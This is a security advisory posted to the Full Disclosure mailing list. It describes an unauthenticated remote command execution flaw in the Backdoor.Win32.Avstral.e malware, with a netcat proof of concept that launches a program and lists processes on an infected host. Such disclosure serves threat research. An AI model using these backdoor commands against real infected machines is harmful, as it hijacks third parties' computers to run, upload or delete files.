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Date: Sun, 27 Mar 2022 23:05:09 -0400 From: malvuln <malvuln13@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Backdoor.Win32.Avstral.e / Unauthenticated Remote Command Execution Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/35f0d754f161af35241cb081c73ea6dd.txt Contact: malvuln13@...il.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Avstral.e Vulnerability: Unauthenticated Remote Command Execution Family: Avstral Type: PE32 MD5: 35f0d754f161af35241cb081c73ea6dd Vuln ID: MVID-2022-0529 Dropped files: mssys.exe Disclosure: 03/27/2022 Description: The malware listens on TCP port 10002. Third-party adversaries who can reach an infected host can run commands made available by the backdoor. Commands. RUNF PROC LIST FIND DELE UPLF DOWF E.g. start calc.exe, RUNF"calc" Exploit/PoC: C:\>nc64.exe x.x.x.x 10002 C:\WINDOWS C:\WINDOWS\system32RUNF"calc" Succesful C:\WINDOWS\system32PROC [System Process] System smss.exe csrss.exe wininit.exe csrss.exe winlogon.exe services.exe lsass.exe fontdrvhost.exe fontdrvhost.exe svchost.exe svchost.exe dwm.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe Memory Compression svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe svchost.exe spoolsv.exe svchost.exe sihost.exe svchost.exe svchost.exe svchost.exe VGAuthService.exe vmtoolsd.exe SecurityHealthService.exe svchost.exe taskhostw.exe WmiPrvSE.exe ctfmon.exe explorer.exe dllhost.exe dllhost.exe ShellExperienceHost.exe SearchUI.exe RuntimeBroker.exe RuntimeBroker.exe RuntimeBroker.exe SearchIndexer.exe msdtc.exe VSSVC.exe ProcessHacker.exe vm3dservice.exe vmtoolsd.exe WmiPrvSE.exe mssys.exe explorer.exe svchost.exe explorer.exe pestudio.exe backgroundTaskHost.exe WmiApSrv.exe ************************************************************* Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
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